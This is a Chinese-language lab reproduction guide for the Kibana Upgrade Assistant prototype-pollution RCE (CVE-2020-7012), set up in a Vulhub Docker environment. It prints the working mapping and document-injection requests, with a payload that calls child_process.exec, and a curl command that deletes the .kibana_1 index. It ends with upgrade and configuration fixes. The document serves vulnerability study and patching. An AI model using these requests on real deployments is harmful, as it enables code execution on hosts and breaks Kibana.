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162 lines
5.1 KiB
Markdown
162 lines
5.1 KiB
Markdown
# Kibana 7.6.2 upgrade-assistant-telemetry 原型污染导致远程代码执行 CVE-2020-7012
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## 漏洞描述
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Kibana 是 Elasticsearch 的开源数据可视化仪表盘工具。
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Kibana 6.7.0 至 6.8.8 版本以及 7.0.0 至 7.6.2 版本中的 Upgrade Assistant 功能存在原型污染漏洞。具有 Kibana 索引写入权限的认证用户可以插入恶意数据，导致 Kibana 执行任意代码。攻击者可能利用此漏洞以 Kibana 进程的权限在主机系统上执行代码。
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参考链接：
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- https://hackerone.com/reports/852613
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- https://discuss.elastic.co/t/elastic-stack-6-8-9-and-7-7-0-security-update/235571
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- https://nvd.nist.gov/vuln/detail/CVE-2020-7012
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## 漏洞影响
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```
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ElasticSearch Kibana >=6.7.0，<=6.8.8
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ElasticSearch Kibana >=7.0.0，<=7.6.2
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```
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## 环境搭建
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Vulhub 启动 Kibana 7.6.2 和 Elasticsearch 7.6.2：
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```shell
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docker compose up -d
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```
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环境启动后，访问 `http://your-ip:5601` 即可看到 Kibana 的默认首页。
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## 漏洞复现
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远程代码执行漏洞发生在 Kibana 从 Elasticsearch 读取带有 `upgrade-assistant-telemetry` 属性的保存对象时。你可以通过直接向 Elasticsearch 发送数据或通过 Kibana 提交查询来利用此漏洞。代码执行将在 Kibana 重启后或数据收集时（具体时间未知）发生。
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首先进入 Kibana UI 的开发者工具（URL 为 `http://your-ip:5601/app/kibana#/dev_tools/console`），然后发送以下请求来修改 Kibana 映射，以允许自定义的 `upgrade-assistant-telemetry` 文档：
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```json
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PUT /.kibana_1/_mappings
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{
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"properties": {
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"upgrade-assistant-telemetry": {
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"properties": {
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"constructor": {
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"properties": {
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"prototype": {
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"properties": {
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"sourceURL": {
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"type": "text",
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"fields": {
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"keyword": {
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"type": "keyword",
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"ignore_above": 256
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}
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}
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}
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}
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}
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}
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},
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"features": {
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"properties": {
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"deprecation_logging": {
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"properties": {
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"enabled": {
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"type": "boolean",
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"null_value": true
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}
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}
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}
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}
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},
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"ui_open": {
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"properties": {
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"cluster": {
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"type": "long",
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"null_value": 0
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},
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"indices": {
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"type": "long",
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"null_value": 0
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},
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"overview": {
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"type": "long",
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"null_value": 0
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}
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}
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},
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"ui_reindex": {
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"properties": {
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"close": {
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"type": "long",
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"null_value": 0
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},
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"open": {
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"type": "long",
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"null_value": 0
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},
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"start": {
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"type": "long",
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"null_value": 0
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},
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"stop": {
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"type": "long",
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"null_value": 0
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}
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}
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}
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}
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}
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}
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}
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```
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然后发送第二个请求来注入恶意的 telemetry 文档：
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```json
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PUT /.kibana_1/_doc/upgrade-assistant-telemetry:upgrade-assistant-telemetry
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{
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"upgrade-assistant-telemetry": {
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"ui_open.overview": 1,
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"ui_open.cluster": 1,
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"ui_open.indices": 1,
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"constructor.prototype.sourceURL": "\u2028\u2029\nglobal.process.mainModule.require('child_process').exec('touch /tmp/awesome_poc')"
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},
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"type": "upgrade-assistant-telemetry",
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"updated_at": "2020-04-17T20:47:40.800Z"
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}
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```
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最后，你需要等待一段时间让 payload 执行。如果不想等待，可以通过 `docker compose restart kibana` 重启 Kibana 服务器，恶意代码将在服务重启后执行。
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命令将在服务重启后执行：
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```
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docker compose exec kibana ls -al /tmp
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```
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**重要提示：漏洞利用后，Kibana 将崩溃且无法启动。你需要从 ElasticSearch 中删除 `.kibana_1` 索引才能恢复功能。**
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删除 `.kibana_1` 并重启服务：
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```
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docker compose exec elasticsearch curl -XDELETE http://localhost:9200/.kibana_1
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docker compose restart kibana
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```
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## 漏洞修复
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用户应升级到 Kibana 版本 7.7.0 或 6.8.9。无法升级的用户可按照以下说明禁用升级助手：
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- Kibana 版本 6.7.0 和 6.7.1 可以在 `kibana.yml` 文件中设置 `upgrade_assistant.enabled: false`
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- Kibana 版本从 6.7.2 开始，可以在 `kibana.yml` 文件中设置 `xpack.upgrade_assistant.enabled: false`
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